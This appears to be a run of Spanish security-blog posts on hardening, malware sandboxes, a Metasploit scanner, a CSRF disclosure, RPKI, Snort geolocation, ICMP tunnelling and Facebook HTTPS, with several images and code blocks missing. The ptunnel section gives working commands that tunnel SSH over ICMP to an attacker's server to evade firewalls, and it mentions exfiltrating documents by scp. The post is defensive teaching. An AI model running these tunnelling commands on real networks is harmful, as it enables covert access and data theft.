Los siguientes puntos se van a centrar únicamente en la seguridad de la máquina, sin extenderse en los elementos externos que se pueden utilizar para securizar el equipo, como NIDS, IPS, firewalls, auditorías periódicas o cañones de fotones.

• Software siempre actualizado. Imprescindible mantener el sistema siempre a la última en parches de seguridad. No hacerlo es el método más sencillo para que te vulneren o tumben el equipo. La mayoría de malware actual se basa en vulnerabilidades conocidas de un servicio o aplicación para infectar la máquina.
• Configuración deficiente de las aplicaciones. De nada serviría un servidor altamente bastionado si uno de los servicios disponibles tiene una configuración que permita a un atacante vulnerar su seguridad. Como es imposible abarcar todo lo que esta implicación supondría, enumeraré algunas indicaciones generales, aplicables a la mayoría de aplicaciones:
1. Ocultar en la medida de lo posible información “jugosa”. Ponerle difícil la recopilación de información a un posible atacante. Por poner unos pocos ejemplos, banners del servidor web, trazas de errores de un Tomcat, metadatos en documentos, transferencia de zona en los servidores DNS, demasiada información visible en los nodos de un servidor LDAP, etc.
2. Cifrados débiles. Evitar que se puedan utilizar algoritmos de cifrado crackeables a la hora de almacenar contraseñas o en el intercambio de información.
3. Permisos de usuario y administrador. Ojo con qué se puede ver o hacer con usuarios limitados o invitados.
4. Política de contraseñas.
   1. Aplicar una política restrictiva cuando se vaya a almacenar una contraseña, como el tamaño mínimo, el uso de mayúsculas, números, caracteres especiales.
   2. Controlar el acceso a la aplicación, con un máximo de intentos, o un delay entre intentos.
   3. Evitar que se pueda utilizar una palabra de diccionario. Se puede usar un agente que lo detecte: http://www.debian-administration.org/articles/59
   4. Y sobre todo, nunca nunca usar la misma contraseña para cada cuenta o servicio o máquina. Vulneran una contraseña, y pueden tomar el control del resto de servicios o máquinas. Como acordarse de todas ellas es imposible para un mortal medio, es recomendable usar herramientas como KeePass o Password Gorilla.
   5. Usar herramientas específicas de hardening, como WAFs o PHPIDS
• Permisos de ficheros. Comprobar qué permisos tienen ciertos ficheros o directorios críticos, para evitar que usuarios no autorizados puedan leer o escribir en él. Por ejemplo, no se debería tener permisos de escritura a los ficheros inetd.conf, innittab, passwd, crontabs, o la estructura de directorios del servidor web. Éste último es más delicado y tiene sus excepciones y sus restricciones propias cuya explicación se sale del propósito de este post.
• Monitorizar o restringir el acceso a cuentas privilegiadas. En un servidor crítico, no suele ser habitual que alguien se loguee como root. Puede ser una buena idea que nos llegue una notificación cuando esto ocurra para controlar posibles accesos ilegítimos. También se pueden tomar medidas como denegar el acceso root desde SSH, o permitir solamente a un rango de ips concreto el acceso administrador de una aplicación web.
• Eliminar servicios innecesarios. Comprobar con netstat -putan qué servicios están a la escucha, y para los que no sean imprescindibles. Podrían ser un potencial vector de ataque. Un ejemplo de servicios que suelen estar a la escucha en una instalación por defecto son RPC, Zeroconf, samba. Si no estás seguro si necesitas ese servicio, la recomendación que escuché en su día fue: detén el servicio, y atento a ver qué explota ;)
• Eliminar aplicaciones instaladas innecesarias. Una vez se haya pasado el servidor a producción, no es necesario, por ejemplo, mantener ningún compilador. Se puede instalar un sistema base mínimo y a partir de ahí instalar lo imprescindible.
• Aislar la máquina del resto de equipos. Si el resto de máquinas pertenecientes a una DMZ no necesitan ningún servicio de ti, impídeles el acceso. En caso de que una máquina sea vulnerada, no podrá saltar a otro equipo y la intrusión quedará contenida.
• Usar un HIDS. Monitoriza el acceso o modificación de ficheros clave, como /sbin, /etc, /var/www para prevenir cambios ilegítimos.
• Uso de syslog remoto. Podemos enviar los logs a un servidor de syslog remoto. Con esto conseguimos monitorizar los servicios y poder correlar eventos. La herramienta OSSEC es muy recomendada para esto último. También se gana trazabilidad, haciendo más difícil para un intruso borrar su rastro.
• Usar parches del kernel como SELinux, AppArmor, o PaX. Estas características implementan políticas de acceso a recursos, o protección de espacios de memoria.
• Protección en el arranque. Establecer una contraseña a la bios y a grub para evitar la modificación del arranque. Sin estas protecciones, un acceso físico ilegítimo al cpd haría que se pudiera arrancar desde una LiveCD o conseguir una shell de root, arrancando el sistema en modo monousuario.
• Particionar para aplicar distintas directivas de seguridad. Al dividir el sistema en varias particiones se pueden establecer diferentes restricciones a la hora de crear el punto de montaje. Por ejemplo, poner el parámetro noexec a la carpeta /tmp, o ro, nosuid, nodev a /usr, etc.
• Uso de sudo. Permite granular los permisos privilegiados de una cuenta. Se puede establecer qué ficheros concretos se pueden ejecutar como root. Se consigue con esto fijar unos permisos concretos a operadores o DBAs con únicamente las herramientas que necesiten, y evitar así compartir la clave de root.
• Otros:
  1. Monitorización de recursos, como RAM, CPU, espacio en disco, o servicios levantados. Imprescindible para un sysadmin conocer en todo momento el estado de un servidor. La herramienta más popular para esta tarea es Nagios.
  2. Backups y plan de contingencias: de nada habría servido todo este bastionado si un fallo de disco duro hace que se pierda toda la información y el servicio quede inaccesible. Para eso es imprescindible un sistema de copias de respaldo y si el servicio que ofrece es crítico, pensar en implantar un sistema de alta disponibilidad que redunde el servicio inmediatamente en caso de que éste caiga.

Obviamente, estas son unas indicaciones generales de securización de un servidor. Cada responsable deberá valorar qué medidas serán adecuadas y cuales serán excesivas de implantar por no ser necesario o por no merecer la pena la implantación por el coste en recursos que ello supondría. Por supuesto, tampoco están todas. Os animo a que comentéis que medidas usáis para bastionar vuestros equipos que no estén contempladas anteriormente.

CuckooSandbox tiene varias características interesantes. Por un lado, se sirve de técnicas de virtualización para conseguir el aislamiento de los ficheros a analizar, a diferencia de otras Sandbox que utilizan técnicas de enjaulado de procesos para conseguir su objetivo. Por otro, su estructura completamente modular permite un gran abanico de configuraciones y adaptaciones a entornos concretos, lo que permite ser válida ante situaciones muy diferentes. Además, se trata de un proyecto de software libre bajo licencia GPL versión 3.

Para instalar CuckooSandbox necesitamos un equipo con sistema operativo Linux (preferentemente Ubuntu) que disponga de Python y la versión oficial de Oracle de VirtualBox. Una vez instalados los prerrequisitos, únicamente debemos descargar la aplicación desde esta ubicación y descomprimirlo en una carpeta de nuestra elección.

En la parte de las máquinas virtuales, que servirán de base para el análisis, el proceso de configuración es un poco más elaborado, pero básicamente necesitaremos un sistema operativo Windows actual (los módulos de análisis están pensados para las versiones inglesas), Python y versiones vulnerables de las aplicaciones que deseemos instalar. El proceso de configuración y puesta a punto está perfectamente referenciado en el apartado de Instalación de la documentación oficial. El paso final de la configuración es la creación de una instantánea de la máquina virtual, que sirve de punto de inicio en cada análisis, y al que se vuelve tras cada ejecución. A partir de aquí, el proceso de ejecución de análisis es extremadamente sencillo. Por una parte se debe iniciar el proceso cuckoo.py, que constituye el servidor central de la aplicación, y el que llevará toda la carga del análisis.

Por otra, se debe lanzar el proceso submit.py, que se encarga de enviar el fichero sospechoso al servidor para que sea analizado.

El proceso de análisis es modular y se incluyen por defecto varios paquetes de análisis que cubren distintos tipos de ficheros sospechosos. Actualmente se incluyen plantillas para ficheros ejecutables, librerías dinámicas, ficheros PDF, documentos ofimáticos, y apertura de URL con Internet Explorer y Mozilla Firefox, entre otros. Estas plantillas se pueden modificar o extender, e incluso crear nuevas para analizar otros tipos de fichero no contemplados en estas categorías.

Finalmente, una vez ejecutado el análisis, es momento de revisar los resultados obtenidos. Estos resultados incluyen los ficheros que ha descargado/creado el archivo sospechoso, los logs del sistema, informes del análisis, capturas de pantalla del equipo, traza de red, configuración y log del análisis, el fichero original y la traza de red:

Si además lanzamos el servidor web incorporado, podremos ver el informe en HTML, que incluye la información más relevante.

Como conclusión podemos decir que nos encontramos ante una utilidad muy útil a la hora de realizar análisis de ficheros maliciosos, y dado su carácter modular y la facilidad de uso, estamos seguros que pronto se hará un hueco en el mercado.

NOTA: Para probar esta aplicación, se utilizaron muestras de malware obtenidas del listado disponible en esta URL.

La instalación del módulo es muy sencilla y funciona out-of-the-box en una metasploit4:

dlladro@bt:/# wget http://www.securestate.com/Documents/page_collector.rb
dlladro@bt:/# cp page_collector.rb /opt/metasploit/modules/auxiliary/scanner/http/

Su uso también es muy sencillo. Para un uso básico (si no, show options ;), no tenemos más que cargar el módulo, fijar la variable RHOST y lanzarlo. Aquí hay un ejemplo de cómo funcionaría el módulo:

msf > use auxiliary/scanner/http/page_collector
msf auxiliary(page_collector) > show options

Module options (auxiliary/scanner/http/page_collector):

Name Current Setting Required Description
---- --------------- -------- -----------
LPATH /root/report.html yes The local filename to store the html file
PORTS 80,443,8080,8443 yes Ports to scan (e.g. 22-25,80,110-900)
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host

msf auxiliary(page_collector) > set RHOSTS 192.168.0.0/24
RHOSTS => 192.168.0.0/24
msf auxiliary(page_collector) > exploit

[*] Starting HTTP Page Collector
[+] Found HTTP On Server: http://192.168.0.1:80/
[+] Found HTTPS On Server: https://192.168.0.1:443/
[*] Found Invalid SSL Cert: IP:192.168.0.1 CN:maquina-1
[+] Found HTTP On Server: http://192.168.0.1:8080/
[+] Found HTTP On Server: http://192.168.0.14:80/
[+] Found HTTPS On Server: https://192.168.0.24:443/
[*] Found Invalid SSL Cert: IP:192.168.0.24 CN:maquina-2
[*] Scanned 026 of 256 hosts (010% complete)
[+] Found HTTP On Server: http://192.168.0.34:80/
[+] Found HTTP On Server: http://192.168.0.36:80/
[+] Found HTTP On Server: http://192.168.0.43:80/
[+] Found HTTP On Server: http://192.168.0.43:8080/
[+] Found HTTPS On Server: https://192.168.0.44:443/
[*] Found Invalid SSL Cert: IP:192.168.0.44 CN:maquina-3
[+] Found HTTP On Server: http://192.168.0.48:80/
[*] Scanned 052 of 256 hosts (020% complete)

Una vez terminado el escaneo, se han guardado los resultados en el archivo /root/report.html; si lo abrimos, veríamos algo parecido a lo siguiente:

En los resultados anteriores se muestran los servicios HTTP/HTTPS encontrados, dentro de un iframe, con lo que ganamos bastante en comodidad para analizar, por ejemplo, usuarios triviales o por defecto en estos servicios…

Espero que este módulo os sea tan útil como a mí. ¡Un saludo!

Durante un test de seguridad realizado a la versión 3.7.0 CE, se detectó que, además de los parámetros necesarios para ubicar al usuario en la aplicación, había un parámetro llamado _flowExecutionKey que iba cambiando cada cierto tiempo, probablemente para controlar el flujo del usuario dentro de la aplicación. A continuación se puede ver un ejemplo de petición válida en el sistema:

Esta petición, con el parámetro _flowExecutionKey correcto, inserta un nuevo usuario administrador en la aplicación. Examinándolo a fondo, comprobamos que este campo era relativamente fácil de predecir, lo que nos hizo pensar en ataques de tipo CSRF. Decidimos entonces hacer varias pruebas para tratar de engañar a la aplicación y generar peticiones de adición de usuarios al sistema, con resultados positivos.

Por aquel entonces (estoy hablando de finales de 2010) se había publicado una nueva versión de esta aplicación, la 3.7.1 CE, así que la instalamos, para comprobar que también podíamos introducir usuarios en el sistema de forma ilegítima si conseguíamos que un usuario autenticado pulsara en un enlace aparentemente inocuo, pero que contenía la prueba de concepto que habíamos generado.

“¿Y qué hacemos ahora?”, nos dijimos. Como corresponde con nuestro trabajo, decidimos informar sobre la vulnerabilidad a JasperSoft, la empresa desarrolladora del producto. Pudimos hablar con uno de los comerciales de JasperSoft en España, así como con un técnico, también español, que nos confirmó el reconocimiento de la vulnerabilidad por parte de la empresa.

Como suele ocurrir en estos casos, (excepto algunas excepciones), las conversaciones con la empresa tratando de concretar cuando se iba a resolver la vulnerabilidad que habíamos encontrado tuvieron una respuesta pobre y difusa, hasta que, tras contactar con el CERT/CC, que nos sirvió de intermediario y nos ayudó en todo el proceso, JasperSoft concretó la fecha de corrección del fallo en “finales de verano”, tras lo que nos pusimos a planificar la publicación para el 15 de septiembre (curiosidades del destino, el día de mi cumpleaños), casi nueve meses después de que reportaramos la vulnerabilidad a JasperSoft en primera instancia.

A última hora JasperSoft nos pidió todavía más tiempo para solucionar la vulnerabilidad, pero tras reunirnos todo el equipo que trabajamos en CSIRT-cv, decidimos seguir adelante con la publicación de la vulnerabilidad, ya que creemos que nueve meses es tiempo más que suficiente para solucionar un problema que puede comprometer la seguridad de los propios clientes de esta aplicación.

¿El resultado? Tenéis disponible la alerta en la web de CSIRT-cv, la cual aprovecho para recomendaros desde aquí, así como nuestro informe de la vulnerabilidad en inglés. CERT/CC por su parte también ha publicado su informe de vulnerabilidad, que en este momento ya han copiado dos webs. Suponemos que en breve se irán añadiendo más referencias, entre las que se incluye el CVE-2011-1911, que nos han reservado muy amablemente desde CERT/CC. Iremos añadiendo referencias de otros sitios a medida que vayan apareciendo, si el editor nos lo permite ;)

Como conclusión y tras haber vivido en primera persona un proceso de reporte de una vulnerabilidad, extraemos que, a pesar de ser un tema de interés creciente, se suele dar poca importancia a los fallos de seguridad en las aplicaciones software, lo que hace que el tiempo de resolución de estos problemas sea, a nuestro juicio, demasiado alto, dejando a los usuarios expuestos ante ataques que, de haber encontrado una solución más rápida, no se habrían producido.

Para finalizar, dar las gracias al equipo de CSIRT-cv, sin el que nada de esto habría sido posible: Guillermo, Maite, JoseMi, Alberto, Nelo, José Luis, Xavi y Lourdes, ¡gracias a todos!

Lo primero es descargar la herramienta:

Una vez descargada la descomprimimos:

Una vez descomprimida la herramienta, dispondremos de la siguiente estructura de directorios:

Ahora es necesario instalar el API pybing que nos permitirá lanzar consultas a Bing, para ello seguiremos las instrucciones de la propia página del api. Si os bajáis el “.egg” de la sección downloads os dará un error que está corregido en r33.

Una vez instalado es aconsejable realizar una prueba a través de la consola de python de que el API funciona correctamente:

Para conseguir nuestra API Key de Bing, tendremos que ir a la página Web de Bing para obtenerla. Ahora es el momento de configurar la librería safebrowsing de python, apoyándonos como siempre en la web oficial. Primero deberemos crear la base datos. Para ello utilizaremos Mysql (acordaros de disponer de python-mysqldb para poder interactuar con la base de datos) y haremos:

Creamos la base de datos: safebrowsing

Creamos el esquema de la base de datos como indica en la web oficial.

Un usuario para acceso a la base de datos de safebrowsing: umosb

Damos permisos a ese usuario sobre la base de datos.

Ahora estos datos los pondremos en fichero “trunk/safebrowsing/conf.py”:

Del único dato que no hemos hablado es del API key de safebrowsing de Google. Para conseguirlo deberemos disponer de una cuenta de Google y acceder a la web donde se nos generará la key estando autenticados con nuestra cuenta de Google.

Por último configuraremos en “trunk/umoconfig.py” los diferentes valores. Sobretodo debemos fijar en ese fichero el Bing API key.

Llegados a este punto si todo ha ido bien tendremos umo beta 0.1b lista para jugar. En una próxima entrada pondré ejemplos de uso, para que sea más sencillo conocerla.

Nota: Con las pruebas que estoy realizando existen algunas búsquedas, sobretodo con Google, que no están del todo controladas por el script; en estos momento estoy “debugueando” y corrigiendo.

Copiando de dicho post, el ejemplo fue el siguiente:

Este problema se podría haber evitado si pudiéramos responder lo siguiente: He recibido un anuncio de ruta del bloque 208.65.153.0/24 con origen el AS 17557. ¿Es un anuncio autorizado?

Según la última información sobre el tema que he podido revisar, para resolver esta cuestión se han propuesto distintas soluciones, pero la que parece ser que está teniendo más posibilidades es el uso del framework RPKI. RPKI está siendo usado en producción desde hace varios meses por distintos RIR’s y se basa en el uso de certificados digitales X.509 (con posibilidad de usar extensiones) para firmar las ROAs (Routing Origin Authorization), puesto que el AS origen del anuncio de ruta viene incluido en el AS_PATH, proporcionando la siguiente funcionalidad:

• Creación de certificados digitales que corresponden a los bloques de recursos asignado. El usuario asigna el bloque de direcciones IP 1234, el cual tiene asignado el certificado para el bloque de direcciones 1234.
• Permite el uso de estos certificados para firmar la autorización de enrutamiento. El proveedor ABC puede enrutar el bloque de direcciones 1234.
• Permite la publicación de forma segura de un repositorio de ROAs firmadas digitalmente.
• Las redes que reciben la actualización pueden consultar el repositorio para determinar el origen de la actualización y comprobar si coincide con la autorización para el bloque de direcciones.

De esta forma, es posible prevenir el secuestro de rutas ocasionadas de forma malintencionadas o por error del operador, puesto que un router que hable BGP podría utilizar el framework RPKI —nos consta que algunos modelos de Cisco ya lo soportan— para validar una ruta y rechazarla en caso de no tener autorización correcta.

Puesto que ya sabemos que la seguridad es un proceso continuo, y los vectores de ataque cambian, éste sería un primer paso para securizar los servicios de conectividad a Internet, pero ni mucho menos el último, ya que lo más posible es que aparezcan nuevos ataques que intenten explotar este framework así como otras vulnerabilidades, como el spoofing del origen de ruta especificado en el AS_PATH. No obstante, es un primer comienzo.

Veamos lo expuesto con anterioridad en el siguiente ejemplo: se realiza una conexión saliente desde el equipo del gerente hacia China empleando el protocolo cifrado SSL a las tres de la madrugada. Es posible que este hecho requiera la intervención del equipo de gestión de incidentes, aunque implique inicialmente la actuación del primer nivel, para comprobar el motivo de esta conexión. ¿Pero cómo alertamos de esta conexión? Snort lo único que ve es una conexión desde un equipo a un servidor de Internet que emplea el protocolo SSL, es decir, una navegación web con protocolo HTTPS. Un IDS basado en reglas no entiende ni conoce los siguientes puntos:

• Geolocalización: todas las IPs de Internet son iguales para él, no entiende de países.
• Horarios: para él una conexión a las 12:00 es lo mismo que a las 3:00.
• Patrones de conexión: desconoce el comportamiento de la red y por tanto no puede detectar anomalías.

Ante esta situación el equipo de seguridad analiza cómo poder añadir estas funcionalidades al motor de Snort, permitiendo detectar amenazas como las expuestas con anterioridad. Así, se decide crear una serie de preprocesadores dinámicos empleando para ello el lenguaje de programación C y la API proporcionada por Snort. Cierto es que nos encontramos con el escollo de que la documentación es escasa, por lo que hay que recurrir al estudio del código fuente de la herramienta para comprender el funcionamiento de estos.

Dentro de estos preprocesadores quiero mostrarles el funcionamiento del preprocesador de geolocalización, el cual permite marcar el país de procedencia y destino de los paquetes que son tratados por Snort, permitiendo aplicar ciertas reglas dependiendo del origen o destino del país mediante los tag “CountryS” para el origen y “CountryD” para el destino.

Veamos un ejemplo para entender el comportamiento de este preprocesador. Para ello crearemos dos reglas de Snort, donde la primera, con identificador “10000001”, generará alerta si detecta paquetes ICMP hacia Rusia (codificado como RUS) y la segunda regla, “10000002”, detectará paquetes ICMP que vengan de Rusia:

Como vemos, hemos indicado en la primera regla que genere alerta si el país destino es Rusia (countryD: RUS;) y en la segunda regla si el país origen es Rusia (countryS: RUS;). El siguiente paso consistirá en compilar nuestro preprocesador y tenerlo en el directorio de preprocesadores dinámicos indicados en el fichero de configuración de Snort:

A continuación se debe incluir el preprocesador en el fichero de configuración de Snort para que sea cargado por éste en su arranque; tengan en cuenta que el orden de los preprocesadores importa, por lo que se recomienda que esté después de “frag3”. En nuestro caso vamos a indicar que queremos que únicamente marque aquellos paquetes con origen o destino de Rusia, China, Iraq y Irán (con el tag ALL marcaría todos los paquetes):

De esta forma ya podremos ejecutar Snort con su preprocesador:

Para finalizar vamos a comprobar que el preprocesador funciona correctamente, y para ello emplearemos Scapy o Hping3 para el envío de paquetes ICMP con IP’s orígenes falsificadas de distintos países hasta que finalmente enviamos una trama con IP rusa (62.5.128.1), generando así la alerta del paquete ICMP procedente de Rusia y seguidamente en del paquete ICMP de respuesta:

Como vemos, con preprocesadores de estas características podemos aportar lógica a Snort para detectar patrones anómalos que permitan descubrir posible malware dirigido, fugas de información y 0 days, permitiendo de esta forma que Snort no sea un simple IDS basado en la detección de patrones. Esperamos que les haya parecido interesante la entrada.

Un diseño de red como el expuesto suele acarrear una mayor dificultad a la hora de obtener ventaja de vulnerabilidades existentes en la DMZ, así como, para saltarse las restricciones de acceso a internet por parte de los usuarios (y por tanto de los empleados) sin pasar por el proxy web con filtrado de acceso y contenidos.

Por desgracia algunos administradores de redes cometen el fallo de no filtrar el tráfico ICMP, especialmente el “ping”, tanto desde la red DMZ como a los usuarios, e incluso permitir el tráfico ICMP en servidores internos. Pero sí en cambio filtran el tráfico UDP y TCP. Debido a este fallo de configuración, muy común por desgracia, un atacante podría emplear canales encubiertos en protocolo ICMP para realizar conexiones inversas o saltarse las restricciones y políticas de seguridad de la empresa.

Como prueba de concepto se va a emplear la herramienta ptunnel. Esta herramienta crea dos túneles o canales; el primero se crea entre el cliente y el proxy ptunnel empleando únicamente el tráfico ICMP, mientras que el segundo se produce entre el destino real y el proxy, empleando para ello el protocolo legítimo.

Comencemos descargándonos la herramienta, actualmente en su versión 0.7. Una vez descargada descomprimiremos el código fuente y lo analizaremos para comprobar que no contiene código malicioso (como lo hacemos siempre, ¿verdad?…). El siguiente paso será instalar las libpcap-dev y compilarlo creando el binario “ptunnel”. Por ejemplo, para Debian o Ubuntu sería necesario seguir los siguientes pasos:

# tar xvfz PingTunnel-0.70.tar.gz
# cd PingTunnel-0.70/
# apt-get install libpcap-dev
# make

Una vez disponemos de la herramienta comenzaremos con la simulación, donde se conectará por SSH a un servidor mediante el empleo de canales encubiertos ICMP desde un servidor de la red interna, el cual solo permite como tráfico saliente el “ping” y conexiones previamente establecidas.

En la prueba el atacante hace una conexión SSH al servidor que controla, pero perfectamente podría haber realizado una copia cifrada de la documentación de la empresa usando el mismo puerto SSH mediante “scp”. Recuerden que esto es una prueba de concepto cuyo objetivo es mostrar que se puede hacer, pero no dar consejos a los atacantes de lo que deberían hacer.

El servidor interno será la IP 192.168.2.104 y el equipo que controla el atacante será la IP 192.168.2.105, que podría haberse tratado de un equipo en Internet, el cual dispone de un servicio SSH y un proxy ptunnel.

Las órdenes necesarias son:
Servidor del atacante:
# ./ptunnel -x patata

Servidor víctima red interna:
# ./ptunnel -p 192.168.2.105 -lp 80 -da 192.168.2.105 -dp 22 -x patata
# ssh localhost -p 80

Tal como podemos ver en la siguiente imagen, donde se aprecian dos consolas del servidor interno. La superior representa el túnel ICMP hacia la ip 192.168.2.105, cuya conexión real es el puerto 22 del mismo equipo. La consola inferior representa la conexión SSH hacia la máquina del atacante:

Y éste es el registro que nos muestra el proxy ptunnel del servidor del atacante:

Para finalizar mostraremos una traza con Wireshark donde el servidor interno 192.168.2.104 establece un túnel de tráfico ICMP con el servidor 192.168.2.105 para conectarse a una web de Internet cuya IP es 209.8XX.XXX.XXX; para ello empleamos la siguiente orden:


# ./ptunnel -p 192.168.2.105 -lp 33 -da 209.8XX.XXX.XXX -dp 80 -x patata

Como vemos entre el servidor interno y el proxy ptunnel solo hay paquetes ICMP de tipo request y reply, es decir, un “ping”. Por tanto un atacante podría conectarse y permitir conexiones inversas hacia los servidores de red interna mediante paquetes ICMP. Por este y otros motivos, es muy importante que no únicamente se le preste atención a los protocolos UDP y TCP en los cortafuegos, sino también a ICMP.

Lo que ya no es tan común es que años después haya un aumento tan elevado de ataques, siendo estos de distintos orígenes. Como ejemplo, sirva esta captura de nuestro sistema de posicionamiento de ataques en tiempo real:

Como se aprecia en la imagen, los ataques provienen de todo el mundo (en el caso de la imagen; USA, India, Japón, Rusia, Taiwan… ) y en un breve espacio de tiempo. En concreto, los ataques que se reciben son al puerto 80, donde se obtienen peticiones del tipo:

Después de una rápida investigación, lo mas probable es que se esté intentando explotar la vulnerabilidad de ASN.1 detallada en MS04-007 y en SANS.edu. El ataque realiza lo siguiente:

1º) Ejecuta el exploit.
2º) Si tiene éxito, abre un servidor ftp en el puerto 21.
3º) Una vez abierto el puerto, se descarga el malware con una orden como la siguiente:

4º) Ejecuta el malware, se infecta y vuelve a realizar el mismo ataque para propagarse a otros sistemas.
Hemos identificado que en el conjunto de los equipos infectados, efectivamente disponen del servicio ftp sirviendo el malware:

Por último, para aquellos lectores que usen SNORT, aquí tenéis una de las firmas que detecta el ataque:

Recomendamos su inmediato despliegue en sistemas IDS e IPS.

La primera, y una de las más demandadas por los usuarios, es el soporte de sesiones https. Hasta ahora, solo la parte de autenticación de login y password iban cifradas, dejando toda la actividad que realizáramos en la red social sin cifrar. De este modo, un atacante podría leer nuestras conversaciones, ver nuestras fotos, robar nuestras cookies, etc. Parece que la aparición de Firesheep, una extensión de Firefox que permite robar las cookies de sesión de multitud de sitios web, ha acelerado el proceso de incorporación de https a los servidores de Facebook.

Esta nueva funcionalidad se está activando progresivamente y en unas semanas todos podremos disfrutar de una navegación más segura. Para activar el https, deberemos acceder a Configuración de la cuenta → Seguridad de la cuenta donde podremos ver algo como esto:

Una vez seleccionada la opción “https” pasaremos a ver la la barra de direcciones de color verde, como en la siguiente imagen:

La otra mejora que ha añadido Facebook tiene como función evitar que un atacante que haya conseguido nuestras credenciales pueda acceder a nuestra cuenta. Para ello, si por ejemplo accedemos a Facebook desde una dirección IP de Valencia, y en pocas horas, nos volvemos a loguear desde una IP rusa, Facebook detecta que ha habido una actividad sospechosa, y deberemos validarnos como los propietarios de la cuenta. Para ello, se nos mostrarán fotos de nuestros amigos, las cuales deberemos de reconocer.

Esta última medida tiene un pequeño “inconveniente”. Hay usuarios que son jugadores muy activos de juegos como FarmVille, CityVille, etc., que se dedican a agregar amigos que no conocen solo por el simple hecho de obtener dinero virtual. Estas personas, si necesitan alguna vez realizar una autenticación social, es muy probable que no superen la prueba y tengan que pedir un cambio de contraseña (sin contar con los problemas de privacidad asociados).

Desde mi punto de vista, Facebook ha mejorado bastante en materia de seguridad. Aparte de las medidas aquí descritas, hace relativamente poco se introdujeron las funcionalidades de logout remoto y one-time passwords que hacen que nuestros datos sean un poco más seguros. Y aunque por defecto, la privacidad sigue siendo escasa, se puede configurar nuestra cuenta para obtener una mayor seguridad y privacidad.

Nada más. Pasen un buen fin de semana, aunque sea frío y pasado por agua.